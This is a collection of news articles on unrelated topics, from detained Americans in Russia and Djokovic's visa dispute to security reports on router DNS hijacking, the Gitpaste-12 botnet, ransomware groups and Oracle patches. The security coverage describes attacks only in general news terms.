reaction to the need that we saw in the community.CNN: How does your program work?Montoya: With all the classes we offer, we do charge $6 per hour of class time, to help pay the teachers, but we keep it absolutely as low as possible. If you'd go to Santa Fe, you'd pay two-to-three times that for a similar class. However, since about 50-60% of our families live below the poverty line, we have scholarships available and all sorts of ways to not turn anyone away. We also provide a lot of services for free. We provide free vegetarian meals to anyone who comes through the door. Often the entire family comes, so it's an intergenerational banquet. There's that sense of family -- la cocina. We also have a free tutoring program. Graduation rates here are alarmingly low. Our tutors are high-achieving high school students -- cool young kids -- who are trained through a partnership with a local college. So, our kids can come in, eat a healthy meal, do a gymnastics class and then get one hour of targeted help. It's a whole child-centered model. And the tutors, who are paid, are learning life skills, writing curriculum, tracking data. We're also investing in them. CNN: You also have a strong peer mentorship program. Montoya: As kids reach that pre-teen stage of development, there's a real strong need for them to feel like they're in control, so we've crafted a really wonderful container for youth development where kids help younger kids. They have an older peer to look up to, but they can also fashion a way to share what they know. It's remarkably useful in helping these kids find their spine. And the arts, it's the perfect environment. CNN: What is your ultimate goal?Montoya: It's about building resilient human beings who can think creatively and critically. When a young person is traumatized, they shrivel and close, and their world becomes very insular and dark. If they find a creative outlet, it begins to open. That's really in a nutshell what Moving Arts is about. It's a safe vessel of love.Want to get involved? Check out the Moving Arts Española website and see how to help.To donate to Moving Arts Española via CrowdRise, click here
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(CNN)Brittney Griner, the star basketball player detained in Russia over alleged drug charges, has become the latest of several Americans who have yet to secure their freedom from a country increasingly isolated from the rest of the world. Russia's invasion of Ukraine brought forth global condemnation from governments and peoples alike, who have since boycotted Russian goods, frozen Russian access to banking systems and enacted crippling sanctions. And amid the growing economic repercussions, families and supporters of Griner and other detained Americans, like Trevor Reed and Paul Whelan, are working to free their loved ones as diplomatic channels fade. Russian authorities said Griner, 31, had cannabis oil in her luggage while in a Moscow airport last month and accused her of smuggling significant amounts of a narcotic substance -- an offense punishable by up to 10 years in prison. A Moscow court has extended her arrest until May 19, according to Russian state news agency TASS. Reed, 30, and Whelan, 52, were arrested and convicted separately for alleged crimes they've emphatically denied well before the Russian incursion of Ukraine, and the pair remain in prison serving extended sentences denounced by US officials as unfair. Here's what we know so far about their detentions.Three Americans detained in Russia, from left to right: Brittney Griner, Paul Whelan and Trevor ReedRead MoreGriner's whereabouts haven't been shared by authoritiesGriner, a two-time Olympic basketball gold medalist, is a star player in both the US and Russia and has been a regular centerpiece in the successes of her teams, the WNBA's Phoenix Mercury and Russian club UMMC Ekaterinburg.Many details of her detention in Moscow remain in question, including the exact date of the arrest and her current location. US Rep. Colin Allred, whose office has been in touch with the US State Department, said Griner was arrested in Russia on February 17.A photo, posted to social media on February 16, appears to show Griner at a hotel in New York's John F. Kennedy International Airport. Four days later, Griner's Russian team played in a game and she was not in the lineup.Those close to Griner have expressed their frustration over the detention and lack of clarity provided by Russian authorities. In an Instagram post, Griner's wife, Cherelle, described the agony of waiting."There are no words to express this pain. I'm hurting, we're hurting," she said.Brittney Griner: Why so many WNBA stars play basketball overseasAlthough a State Department official told CNN the US had been denied consular access to Griner, a source close to the situation told CNN that Griner's Russian legal team has seen her several times a week throughout her detention, and she is well. The Biden administration is working to get Griner out of Russia, members of the Congressional Black Caucus said after meeting last week with President Joe Biden.Rep. Sheila Jackson Lee, who represents Griner's hometown of Houston, said she spoke of Griner during the meeting and noted there is a "need for her to be immediately released and for her to receive the help of the United States to demand and facilitate that release."But a US representative cautioned to CNN last week that getting her home is "going to be very difficult." "Our diplomatic relationships with Russia are nonexistent at the moment," Rep. John Garamendi, a member of the House Armed Services Committee, said.The state-owned Russia 24 channel said this photo of Brittney Griner was taken at a police station.Reed family spoke with President BidenReed, a former US Marine detained in Russia since 2019, was sentenced to nine years in prison in July 2020 for endangering the "life and health" of Russian police officers after a night of drinking, according to state-run news agency TASS.Russian authorities claimed Reed resisted arrest and attacked officers as they responded to complaints of a disturbance, according to Russian state-run news agency RIA-Novosti. Alina Tsybulnik, Reed's girlfriend who was with him that night, heavily disputed police allegations, telling TASS, "(The police) constantly change their story ... in my opinion, Reed was too drunk to resist them."JUST WATCHEDParents of former US Marine jailed in Russia speak outReplayMore Videos ...MUST WATCHParents of former US Marine jailed in Russia speak out 05:23Reed and his family have denied the charges and US Ambassador to Russia John Sullivan called the trial "theater of the absurd" after the 2020 sentencing.Joey and Paula Reed, Trevor's parents, spoke with Biden on March 8, shortly after waving at the President's passing motorcade in Fort Worth, Texas, the family said.An attempt to set up a meeting with Biden ahead of the visit was declined, the family said, but Biden later spoke with them via phone. "I just can't imagine what you're going through," Biden could be heard saying on the cell phone's speaker by a CNN producer and other reporters at the scene. "I don't want you to think that it's not something I constantly think about."Family of former US Marine detained in Russia speaks with Biden after his Texas stopThe Reeds grew emotional and stepped away from reporters for the remainder of the conversation with the President, but Paula Reed later shared details of the call, including that Biden told them he "thinks of Trevor every day and that he feels horrible that he hasn't been able to bring Trevor home yet. And he said, 'We're not going to stop.'""He said he prays for our son every day and that he said a rosary, before he came to Fort Worth, for our son," Joey Reed told CNN's Brianna Keilar on "New Day."In recent calls to his parents, including Wednesday morning, Trevor Reed said he had been coughing up blood, had intermittent fevers and had pain in his chest, according to Joey Reed -- and the family is concerned he has tuberculosis. The son delivered more bad news Wednesday: He said he'd had "some sort of accident" that's hurt his chest further, Joey Reed said."He called and could barely talk," the father said. "He believes he might have broken a rib. So now as he's coughing, he has shooting, stabbing pains in his chest." Paula Reed added she thought her son said something had fallen on him from a shelf. Joey Reed also said Trevor told them he would be sent to a hospital prison on Friday to be checked. Although he believed Trevor has been honest about his health, Joey Reed expressed uncertainty that his son's injury was an accident. "It just seems to be getting worse and worse," he said.The parents told their son about their phone call with Biden."He said he was very excited for us, but he's still cautiously optimistic," Paula Reed said Wednesday. "I think he doesn't want to get his hopes up too much, so for him it works better if he just kind of downplays everything." Family pushes for Whelan's releasePaul Whelan, a US, Irish, British and Canadian citizen and former US Marine, was detained at a Moscow hotel in 2018 and arrested on espionage charges, which he has consistently denied. He was convicted and sentenced in June 2020 to 16 years in prison in a trial widely denounced as unfair by US officials.In a call with CNN in June, Whelan described the grim conditions of the remote labor camp where he spends his days working in a clothing factory that he called a "sweatshop," and said, "getting medical care here is very difficult." Paul Whelan's family stays focused on his release as he nears 3 years in Russian detentionWhelan was getting through his plight "day by day," he told CNN, and was trying to keep "a positive mental attitude" about the situation.His family said Whelan has been the subject of retaliation, including serving time in solitary confinement where he was not permitted to shower or exercise. Whelan's siblings have spent the past three years staying in contact with him and advocating on his behalf to lawmakers in Washington, DC, and his sister, Elizabeth Whelan, lauded American officials in Moscow for their work. But the latest strain in relations between the two nations is likely to complicate efforts. "An unfortunate component about advocating for someone who is wrongfully detained is you have to make your presence known. There's always a crisis going on, and you have to keep reminding people that there is an American who is being held by a hostile foreign nation, often one that we have relations with of some sort, and that this situation has to end," Elizabeth Whelan told CNN in December.She praised her brother's perseverance, adding that he "is bound and determined to survive this situation, and he is not going to give in to the Russians. He is not going to show weakness."CNN's Paul P. Murphy, Holly Yan, Lucy Kafanov, Rosa Flores, Wayne Sterling, Chris Boyette, Maegan Vazquez, Ashley Killough, Ed Lavandera, Raja Razek, Chandelis Duster, Jason Hanna and Jennifer Hansler contributed to this report.
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In a legal extradition tug-of-war between the United States and Russia, it seems France has won the game, surprisingly.
A Greek court has ruled to extradite the Russian cybercrime suspect and the former operator of now-defunct BTC-e crypto exchange to France, instead of the United States or to his native Russia, according to multiple Russian news outlets.
Alexander Vinnik, 38, has been accused of laundering more than $4 billion in bitcoin for criminals involved in hacking attacks, tax fraud and drug trafficking with the help of BTC-e crypto exchange.
BTC-e, a digital currency exchange service operating since 2011, was seized by the authorities right after Vinnik's arrest in northern Greece in late July 2016 at the request of US law enforcement authorities.
Vinnik is also accused to the failure of the once-most famous Japanese bitcoin exchange Mt. Gox, which was shut down in 2014 following a series of mysterious robberies, which totaled at least $375 million in Bitcoin.
The U.S. authorities believe Vinnik "obtained" funds from the hacker or insider who stole bitcoins from Mt. Gox and sent them to a bitcoin wallet controlled by him and intentionally laundered the money through BTC-e over a period of three years.
The Greek Supreme Court earlier approved Vinnik's extradition to the U.S. to stand trial on the charges with the operation of an unlicensed money service business, money laundering, conspiracy to commit money laundering, and engaging in unlawful monetary transactions.
However, a Greek lower court in the northern city of Thessaloniki agreed Monday to extradite Vinnik to France, where he is facing charges for defrauding thousands of people worldwide, including about 100 French nationals, through his bitcoin platform and laundered 133 million euros using 20,643 bitcoins.
Russia is also seeking Vinnik to face $11,000 worth of fraud charges, very low as compared to accusations made by other countries, although a hearing date for the Russian extradition request has not yet been set.
However, Vinnik, who is in Greece jail, being insolent denying all the charges made by the United States, Russia, or France.
The Russian Foreign Ministry has criticized the Greece extradition decision in a statement, saying:
"Yielding to external pressure, the Greek authorities continue to complicate relations with Russia. Several days after taking an unfriendly decision to expel Russian diplomats and to deny entry to several Russian citizens, they have adopted a decision to extradite Russian citizen Alexander Vinnik to France. It is obvious that Russia cannot leave these actions unanswered."
However, reportedly Greece's justice minister can still overturn the court ruling and decide where Vinnik ends up—the United States, Russia or France.
Vinnik's Greek lawyer Ilias Spyrliadis told Russian news agency TASS that he is planning to appeal against the court's decision in the Greek Supreme Court.
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The popular DSL wireless router model from D-Link are allegedly vulnerable to a software bug that could allow remote hackers to modify the DNS (Domain Name System) settings on affected routers and to hijack users' traffic.
The main goal of DNS hijacking is to secretly redirect user's traffic from a legitimate websites to a malicious one controlled by hackers. The vulnerability might also affects other devices because it is located in the same, widely-used wireless router firmware used by different manufacturers.
Bulgarian security researcher Todor Donev discovered the flaw which exists in a widely deployed ZynOS firmware from ZyXEL Communications Corporation, that is used in network hardware from TP-Link Technologies, ZTE and D-Link.
According to the security researcher, D-Link's popular DSL2740R wireless router and a number of other D-Link routers, particularly the DLS-320B, are vulnerable.
Late last year, similar router vulnerability was discovered in the web server "RomPager" from AllegroSoft, which is typically embedded into the firmware of routers, modems and other "gateway devices" from about every leading manufacturer.
The flaw put 12 million homes and offices routers from a variety of different manufacturers vulnerable to DNS hijacking attack, which also included kit from D-Link, along with Edimax, Huawei, TP-Link, ZTE, and ZyXEL.
The latest bug discovered in wireless routers running the vulnerable firmware could reveal their internal web servers to the open Internet, and according to an email from Donev, this could allow a remote attacker to configure the devices without authentication to access its administrative interface.
Donev claimed that once attackers succeeded in modifying systems' DNS settings, they could perform a handful of malicious tasks, including:
Redirecting unknown users to malicious sites – These sites could lead victim to a phishing page that could masquerade as a well-known site in order to trick users into handing out their personal and sensitive information.
Replacing advertisements on legitimate sites – Hackers could manipulate ads that users see, replacing legitimate ads with malicious ones on the sites they visit.
Controlling and redirecting network traffic – Hackers could also prevent users of infected systems from receiving important operating system updates and other software and security updates.
Pushing additional malware – Attackers could directly push malware onto the infected systems.
In order to exploit the router vulnerability, a malicious hacker would have to either be on the router's network or the wireless router would have to be publicly accessible. Now that administrative interface is exposed to the Internet, the risk of exploitation is higher.
But even if the wireless router is accessible within the local area network, hackers can still use Cross-Site Request Forgery (CSRF), a technique which involves gaining access to local networks by sending specific HTTP requests to a LAN IP address that usually associates with the wireless router.
Donev released the details of the D-Link wireless router vulnerability publicly without notifying the affected vendors. He has also published a proof-of-concept exploit for the D-Link DSL-2740R, a dual-function ADSL modem/wireless router device. As of now, this particular device has been discontinued from sale but is still supported.
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A new wormable botnet that spreads via GitHub and Pastebin to install cryptocurrency miners and backdoors on target systems has returned with expanded capabilities to compromise web applications, IP cameras, and routers.
Early last month, researchers from Juniper Threat Labs documented a crypto-mining campaign called "Gitpaste-12," which used GitHub to host malicious code containing as many as 12 known attack modules that are executed via commands downloaded from a Pastebin URL.
The attacks occurred during a 12-day period starting from October 15, 2020, before both the Pastebin URL and repository were shut down on October 30, 2020.
Now according to Juniper, the second wave of attacks began on November 10 using payloads from a different GitHub repository, which, among others, contains a Linux crypto-miner ("ls"), a file with a list of passwords for brute-force attempts ("pass"), and a local privilege escalation exploit for x86_64 Linux systems.
The initial infection happens via X10-unix, a binary written in Go programming language, that proceeds to download the next-stage payloads from GitHub.
"The worm conducts a wide-ranging series of attacks targeting web applications, IP cameras, routers and more, comprising at least 31 known vulnerabilities — seven of which were also seen in the previous Gitpaste-12 sample — as well as attempts to compromise open Android Debug Bridge connections and existing malware backdoors," Juniper researcher Asher Langton noted in a Monday analysis.
Included in the list of 31 vulnerabilities are remote code flaws in F5 BIG-IP Traffic Management User Interface (CVE-2020-5902), Pi-hole Web (CVE-2020-8816), Tenda AC15 AC1900 (CVE-2020-10987), and vBulletin (CVE-2020-17496), and an SQL injection bug in FUEL CMS (CVE-2020-17463), all of which came to light this year.
It's worth noting that Ttint, a new variant of the Mirai botnet, was observed in October using two Tenda router zero-day vulnerabilities, including CVE-2020-10987, to spread a Remote Access Trojan (RAT) capable of carrying out denial-of-service attacks, execute malicious commands, and implement a reverse shell for remote access.
Aside from installing X10-unix and the Monero crypto mining software on the machine, the malware also opens a backdoor listening on ports 30004 and 30006, uploads the victim's external IP address to a private Pastebin paste, and attempts to connect to Android Debug Bridge connections on port 5555.
On a successful connection, it proceeds to download an Android APK file ("weixin.apk") that eventually installs an ARM CPU version of X10-unix.
In all, at least 100 distinct hosts have been spotted propagating the infection, per Juniper estimates.
The complete set of malicious binaries and other relevant Indicators of Compromise (IoCs) associated with the campaign can be accessed here.
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(CNN)Tennis star Novak Djokovic on Wednesday admitted he did not immediately isolate after testing positive for Covid-19 last month -- but denied knowing he had the virus when attending public events.In a statement published to social media, he also apologized for an apparently false travel declaration, saying it had been submitted on his behalf by a member of his support staff in "human error."Djokovic added that he had made an "error of judgment" in doing a media interview and photo shoot with a French sports newspaper after he had tested positive.The journalist and photographer working for L'Equipe were not told Djokovic was Covid-positive before, during or after the interview with the tennis star in Belgrade, the French sports newspaper reported Wednesday.What we know: Novak Djokovic and Australian Open timeline Meanwhile Australian Border Force (ABF) officials are investigating possible inconsistencies in documents related to Djokovic's December PCR result as well as the tennis player's movements in the days after he tested positive for Covid-19 in Serbia, a source with knowledge of the investigation told CNN Wednesday.Read MoreThe Australian Border Force (ABF) has not yet determined whether these issues may impact the validity of Djokovic's current Australian visa, the source said.On Tuesday, German news outlet Der Spiegel reported possible discrepancies in the digital data attached to Djokovic's PCR tests. The PCR test documents were filed in court by Djokovic's lawyers and published online. Positive and negative results for the same PCR test appeared when Der Spiegel retroactively accessed the results using an attached QR code, the outlet reported.A CNN contributor and various internet users also reported seeing the same issue. There was no indication what might have caused a discrepancy.Tests done by CNN Wednesday showed only a positive result, consistent with the documents filed to court. 'I want to address the continuing misinformation'Djokovic has been embroiled in controversy since being detained in Australia last week over a visa and vaccination dispute.He arrived in Melbourne last week and promptly had his visa canceled for entering the country without a valid exemption for the country's vaccination requirement for all arrivals -- but won the legal battle on Monday, with a judge ruling he should be allowed to stay. But questions have lingered over Djokovic's behavior -- specifically, his positive Covid diagnosis last month before he arrived in Melbourne, and the public events he attended at the time."I want to address the continuing misinformation about my activities and attendance at events in December in the lead up to my positive PCR Covid test result," he said in the statement."This is misinformation which needs to be corrected, particularly in the interest of alleviating broader concern in the community about my presence in Australia, and to address matters which are very hurtful and concerning to my family."I want to emphasize that I have tried very hard to ensure the safety of everyone and my compliance with testing obligations."Djokovic won his court case but few Australians are cheeringDjokovic said he had attended a basketball game in Serbia's capital, Belgrade, on December 14, where many people tested positive afterward. He showed no symptoms, but got tested on December 16. On December 17, before he received the official result of his test, he took a rapid test that came out negative, and attended a youth tennis awards ceremony -- after which he received the official positive result, according to the statement. The following day, December 18, he did a media interview and photo shoot with French sports newspaper L'Equipe, saying he went ahead because "I didn't want to let the journalist down." He socially distanced and wore a mask except for the photo shoot, he added."While I went home after the interview to isolate for the required period, on reflection, this was an error of judgment and I accept that I should have rescheduled this commitment," he said.Novak Djokovic practices in Rod Laver Arena ahead of the 2022 Australian Open at Melbourne Park on January 11, 2022.L'Equipe interviewAccording to L'Equipe's story on Wednesday, journalist Franck Ramella and photographer Etienne Garnier reported Djokovic seemed "well," despite it later emerging the tennis star had been diagnosed with Covid-19 on December 16.The L'Equipe article states Ramella has since tested negative for Covid-19 -- it does not mention Garnier's health.Ramella told CNN he is en route to Melbourne to cover the Australian Open."For 33 minutes, according to the timer on the recorder, Djokovic answered the questions with confidence," a CNN translation of the French language article reads."We were being safe, facing each other at a distance of nearly one meter, sitting on opposite sides of a long rectangular table. When Etienne asked him to remove his mask for five minutes during the interview, Djokovic refused."Then the photo session took place. Obviously, the Serbian champion removed his mask. We did not want him to pose with his face half-covered. "Then he followed the instructions of Etienne, who was masked. He held the trophy at arm's length, moving from one position to another, smiling or grinning to show that he had won. He also shouted to make it even more genuine."The article was published just hours before Djokovic apologized for keeping the interview appointment despite being aware of his positive PCR diagnosis from a test done two days earlier.Simon Cambers, who is co-president of the International Tennis Writers Association (ITWA), said it was "deeply concerning" that Djokovic hadn't told one of the organization's members -- and the rest of the L'Equipe team on the day -- that he had tested positive for Covid-19."As journalists, we take great care to adhere to all Covid-19 rules in place and we would expect all players to do the same," added the ITWA statement."Furthermore, it should be noted that journalists have to be fully vaccinated to travel to Melbourne for this year's Australian Open."After news of his positive result emerged, Djokovic received widespread criticism for photographs showing him at these various events -- often unmasked and around children. His statement Wednesday that he did not know his positive Covid status until December 17 also contradicts comments from his brother, who told a news conference Tuesday that the player tested positive on December 16 and knew his result.In an interview with Australian broadcaster and CNN affiliate Seven Network on Wednesday, Djokovic's mother said he "probably" didn't know that he had tested positive before attending the events.Even Serbian authorities, who have strongly defended Djokovic and decried his temporary detention throughout the ordeal, acknowledged the controversy. "It would be a clear breach of rules because if you know you're positive you would have to be in isolation," Serbian Prime Minister Ana Brnabić told the BBC, but added "there is some gray area" as it was unclear when Djokovic received his results. Travel declarationDjokovic also addressed the controversy over an apparently false travel declaration. Though he said he had not traveled in the 14 days prior to his arrival in Australia, photos taken during that period appear to show him in both Spain and Serbia.In the statement, he apologized for the false declaration, saying it had been submitted "by my support team on my behalf," calling it "a human error and certainly not deliberate." He declined to make any further comment, only adding that he hoped to play in the Australian Open and "compete against the best players in the world."The penalty for submitting a false travel declaration carries a maximum penalty of 12 months in prison, according to the Australian Department of Home Affairs website.Novak Djokovic is 'the best player in the history of men's tennis' but he is leaving a 'complicated' legacy off the courtThough the judge allowed Djokovic to walk free and begin training for the tournament, which begins next week, the tennis star could still face deportation, with the ABF also investigating the travel declaration discrepancy and the immigration minister still considering whether to remove him from the country."As noted publicly, Minister Hawke is considering whether to cancel Mr. Djokovic's visa under section 133C(3) of the Migration Act," said a spokesperson for immigration minister Alex Hawke on Wednesday. "Mr. Djokovic's lawyers have recently provided lengthy further submissions and supporting documentation said to be relevant to the possible cancellation of Mr. Djokovic's visa. Naturally, this will affect the timeframe for a decision."Though the judge had overturned the cancellation of Djokovic's visa, Hawke could still exert his personal power to revoke it -- which could lead to another legal standoff.Angus Watson contributed to this report
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(CNN)The English Premier League has seen a sharp rise in new Covid-19 cases among players as the Omicron variant continues its rapid spread through Britain. From December 13 to December 19, the league reported 90 new positive cases, more than twice the total of positive tests the week before (42). Prior to that, the league saw just 100 positive tests in the four months between August 2 and December 5.The league says 77% of its players are currently vaccinated with two doses, which is considered fully vaccinated under current government guidance.However, scientists have underlined the importance of a third booster jab in successfully combating Omicron. Read MoreThe vaccination rate in England for 25-29 year-olds is 78.5% -- the average age of a Premier League player is 26.9 years-old. The league said 84% of players are currently on the "vaccination journey," having to wait the required time between jabs. The United Kingdom reported 91,743 new Covid-19 cases on Monday, the second-highest figure since the beginning of the pandemic, according to government data. That is up from 82,886 cases on Sunday.The UK also reported 44 deaths within 28 days of a positive Covid-19 test on Monday, bringing the death toll to 147,261 since the pandemic began. Chelsea's match against Wolves was one of the few Premier League games to go ahead this weekend. 'Proceeding with caution'The Premier League also announced on Monday that fixtures over the festive period will go ahead as planned despite a number of clubs experiencing Covid-19 outbreaks among players and staff -- 10 matches have already been postponed this month as a result. The decision was made following a virtual meeting of all 20 clubs and the league."The health and wellbeing of all concerned remains our priority and the League will continue to monitor and reflect public health guidance, always proceeding with caution," said a Premier League statement. "The League continues to work with clubs to encourage vaccination among players and club staff, as well as promoting the Government's public health vaccination messaging to clubs and the wider public."Cesar Azpilicueta: Players ready for another social media boycott if companies don't prevent abusePremier League clubs are now working under new Covid-19 protocols, which require them to follow rules such as wearing face coverings while indoors, observing social distancing and limiting treatment time. The league also increased lateral flow and PCR testing of players and staff.Liverpool manager Jurgen Klopp has encouraged players and the wider society to get vaccinated and says people have a moral obligation to do so. "It's a question of persuading. I think mandatory, from a moral point of view, it should be mandatory for each person I think, but not from a legal point of view," he told reporters."I don't see that but, from a moral point of view, because if I can do something that helps the people around me. Obviously people see that differently."JUST WATCHEDWhat's next for Aaron Rodgers? NFL Insider Ian Rapoport talks to New DayReplayMore Videos ...MUST WATCHWhat's next for Aaron Rodgers? NFL Insider Ian Rapoport talks to New Day 03:50Premier League club Wolverhampton Wanderers has also urged people to get fully vaccinated.The club tweeted a picture on Monday of manager Bruno Lage and captain Conor Coady getting boosted."Everyone in our building is fully vaccinated, which is the right thing to do, especially with the increase in positive cases in the Premier League and wider society," Lage said. Each Premier League team is now set to play three times between December 26 and January 3 in what is traditionally the busiest period of fixtures in the domestic league calendar.
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Anonymous Hackers AnonSwedenOp posted a video on YouTube on October 8 where it threatened the Estonian government with a possible cyber attack.
"Estonian government had sacrificed its own people instead of helping its own people, Estonian government has channelled money to helping Greece that is much better off."
"Estonia says that it doesn't have money but then they give 357 million to Greece," the statement declares.
Anonymous Group will most probably attack on Friday, October 12, according to video and this attack will go as Operation #OpEstonia.
The the end of the Video, Hacker with the promise: "This must end. Estonian people, we haven't forgotten you".
Anonymous Hacker last week took down the website of Swedish central bank also and this attack can also be on high rate, if they get possible massive number of attacks.
Subscribe to our Daily Newsletter via email - Be First to know about Security and Hackers. or Join our Huge Hackers Community on Facebook, Google+ and Twitter.
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Organizations today already have an overwhelming number of dangers and threats to look out for, from spam to phishing attempts to new infiltration and ransomware tactics. There is no chance to rest, since attack groups are constantly looking for more effective means of infiltrating and infecting systems.
Today, there are hundreds of groups devoted to infiltrating almost every industry, constantly devising more sophisticated methods to attack organizations.
It's even more troubling to note that some groups have started to collaborate, creating complex and stealthy tactics that leave even the best security teams scrambling to respond. Such is the case noted by XDR Provider Cynet, as the company observes in its newest Research Webinar (register here).
Cynet's research team noted that two of the most infamous attack groups – Lunar Spider and Wizard Spider – have started working together to infect organizations with ransomware.
The development is certainly troubling, and the report shows why security teams and professionals must constantly be looking at the whole picture, not just the result of an attack.
Combining attacks for greater impact
Cynet's researchers first noticed something was amiss as they were studying IcedID malware, developed by Lunar Spider. Originally observed in the wild in 2017, IcedID is a banking Trojan that has targeted the financial sectors in both the US and Europe. After it was initially revealed, Lunar Spider shifted IcedID's modus operandi to enable it to deploy additional payloads, such as Cobalt Strike.
The researchers also studied the CONTI ransomware, a relatively new attack approach developed by Wizard Spider that's already in the FBI's crosshairs. This "ransomware-as-a-service" (RaaS) has been spotted in the US and Europe and has already wreaked havoc on many organizations and networks.
Cynet first suspected the connection between the two organizations as it was exploring a case of CONTI ransomware that used many familiar tactics, though not ones traditionally deployed by the Wizard Spider group.
During the investigation, the team discovered that CONTI was being deployed through malware campaigns that used IcedID as an initial point of attack. After establishing persistence on targets' devices, IcedID deployed a CONTI ransomware variant to lock the network.
Understanding the risks
The new Cynet Research Webinar will dive deeper into the anatomy of this collaboration to explain why it's so troubling, but also how it can be detected and combatted. The webinar will discuss:
The background of the attack groups. Both Lunar Spider and Wizard Spider are well known and highly dangerous. Their existing malware and other tools are widely popular and present in many notable breaches and attacks. Before exploring their tools, the webinar will break down each group.
The increasing popularity of ransomware attacks. These tactics have become widespread and are expected to cost organizations hundreds of billions of dollars in the next decade. To truly comprehend how to combat this new attack tactic, it's worth establishing how ransomware works, and some common tactics.
The anatomy of a combined IcedID and CONTI attack. The webinar will break down a case study of this new attack tactic. Unlike some other ransomware attacks, this new method uses techniques from both to create persistence, avoid detection, and lock systems before organizations can react. Moreover, they're increasingly using "double extortion" methods, which both lock data and threaten leaks if payment isn't received.
You can register to the webinar here.
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Get Ready to update your Java program as Oracle has released its massive patch package for multiple security vulnerabilities in its software.
The United States software maker Oracle releases its security updates every three months on Tuesday, which it referred to as "Critical Patch Updates" (CPU). Yesterday, Oracle released its first quarterly CPU-date of this year, issuing a total of 169 security fixes for hundreds of its products including Java, Fusion Middleware, Enterprise Manager and MySQL.
The security update for Oracle's popular browser plug-in Java addresses vulnerabilities in the software, 14 of which could be remotely exploitable without authentication, that means an attacker wouldn't need a username and password to exploit them over a network.
Four Java flaws were marked most severe and received a score of 10.0 on the Common Vulnerability Scoring System (CVSS), the most critical ranking. Nine other Java flaws given a CVSS Base Score of 6.0 or higher.
"Oracle has received specific reports of malicious exploitation of vulnerabilities for which Oracle has already released fixes. In some instances, it has been reported that malicious attackers have been successful because customers had failed to apply these Oracle patches," Oracle said in a pre-release announcement. "Oracle therefore strongly recommends that customers remain on actively-supported versions and apply Critical Patch Update fixes without delay."
The other most severe ratings of CVSS base score 10.0 belong to Fujitsu M10-1 of Oracle Sun Systems Products Suite, M10-4 of Oracle Sun Systems Products Suite, and M10-4S Servers of Oracle Sun Systems Products Suite.
Eight vulnerabilities in Oracle database were also addressed in the recent release, including CVE-2014-6567, which received a CVSS Base Score of 9.0, as it allows a full compromise of the targeted server on the Windows platform with authentication. None of the database vulnerabilities could be remotely exploitable without authentication.
A total of 10 security updates have been included for Oracle E-Business Suite, including one assigned CVE-2015-0393 discovered and reported to Oracle this past year by Australian researcher David Litchfield, which could have granted administrator privileges to lower-level users.
Six security fixes have been included for Oracle Supply Chain Suite, 7 for Oracle PeopleSoft Enterprise, 1 for Oracle JDEdwards EnterpriseOne, 17 for Oracle Siebel CRM, and 2 for Oracle iLearning. Oracle's MySQL received 9 security fixes, 3 of which could be remotely exploitable without authentication, and the most critical bug, CVE-2015-0411, had a base score of 7.5.
In total, 36 new fixes have been issued for Oracle Fusion Middleware products, and the most severe bug, CVE-2011-1944, received a rating of 9.3 that affects Oracle HTTP Server. Two of the Oracle Fusion Middleware vulnerabilities fixed in this CPU can result in a server takeover.
The company also provided 29 fixes for the Oracle Sun Systems Products Suite, 10 of which could be remotely exploitable without authentication. One bug, CVE-2013-4784, received the highest CVSS base score of 10.0. This particularly nasty flaw affects XCP Firmware versions prior to XCP 2232. Another bug, CVE-2014-4259, received a rating of 9.0.
You can see the full list of affected software from here. The next CPU date is 14 April 2015. Stay Safe! Stay Tuned!
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Millions of printers open to devastating hack attack
Could a hacker from half-way around the planet control your printer and give it instructions so frantic that it could eventually catch fire? Or use a hijacked printer as a copy machine for criminals, making it easy to commit identity theft or even take control of entire networks that would otherwise be secure?
It's not only possible, but likely, say researchers at Columbia University, who claim they've discovered a new class of computer security flaws that could impact millions of businesses, consumers, and even government agencies.
The researchers, who have working quietly for months in an electronics lab under a series of government and industry grants, described the flaw in a private briefing for federal agencies two weeks ago. They told Hewlett-Packard about it last week.
HP said Monday that it is still reviewing details of the vulnerability, and is unable to confirm or deny many of the researchers' claims, but generally disputes the researchers' characterization of the flaw as widespread. Keith Moore, chief technologist for HP's printer division, said the firm "takes this very seriously," but his initial research suggests the likelihood that the vulnerability can be exploited in the real world is low in most cases.
"Until we verify the security issue, it is difficult to comment," he said, adding that the firm cannot say yet what printer models are impacted.
But the Columbia researchers say the security vulnerability is so fundamental that it may impact tens of millions of printers and other hardware that use hard-to-update "firmware" that's flawed.
[Read More : MSNBC]
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Story highlights Court on Friday convicts 330 suspects of a plot to overthrow Turkey's governmentDozens of military commanders, once considered untouchable, have been imprisonedDefense attorneys accuse government, prosecutors and judges of a political witch huntThey say the defendants could be sentenced to up to 20 years in prison if found guiltyA criminal court in Turkey brought the hammer down hard on hundreds of acting and retired senior military commanders, found guilty of plotting to overthrow the government, state media reported Friday. Three-hundred-thirty of the 365 suspects were sentenced to up to two decades behind bars, in a trial reflecting the relatively new reduction of military influence in the nation's political landscape. Former air force commander Ibrahim Firtina, former head of the navy Ozden Ornek and an ex-army commander named Cetin Dogan had their initial life sentences reduced to 20 years, according to state media. Analysts say the plot -- widely referred to as Balyoz, or "Sledgehammer" in English -- further reinforces the shift in a balance of power oriented toward more civilian authority.Six other generals and one former member of parliament were sentenced to 18 years in prison, while 34 others were acquitted and another defendant was separated from the case.Dozens of military commanders -- once considered untouchable in Turkish society -- have been in prison for more than two years as the controversial trial dragged on.JUST WATCHEDTurkey's unending conflict at homeReplayMore Videos ...MUST WATCHTurkey's unending conflict at home 02:48JUST WATCHEDPart 1: Exclusive interview w/ Turkey PMReplayMore Videos ...MUST WATCHPart 1: Exclusive interview w/ Turkey PM 11:36JUST WATCHEDPart 2: Exclusive interview w/ Turkey PMReplayMore Videos ...MUST WATCHPart 2: Exclusive interview w/ Turkey PM 08:03JUST WATCHEDProfile of ErdoganReplayMore Videos ...MUST WATCHProfile of Erdogan 02:58"The decision seems to be designed to set a precedent and give a strong signal to the armed forces that the days of meddling in politics are over," wrote Suat Kiniklioglu, a senior member of Turkey's ruling Justice and Development Party, in an e-mail to CNN."Anyone attempting to discredit or overthrow a democratically-elected government in the future will think twice. ... I think it is clear the judiciary is intent on consolidating the gains it made over the deep state and its military wing in recent years."From outside the remote prison on the outskirts of Istanbul where the trial was held, Turkish television broadcast live images of despondent relatives after the verdict was announced. Some wept, while a woman could be seen being carried out of the building after she apparently collapsed.If the sentences are upheld, some of the elderly former commanders are likely to live the rest of their lives behind bars."The murder of justice turned into a massacre of justice with the decision given today," a defense attorney named Huseyin Ersoz said, reading what he described as a joint statement from many of the defendants. "We have never betrayed our country, nation, state and flag."Related story: Will Turkey have soft landing or turbulence?The Sledgehammer investigation dates back to 2003 and marks a 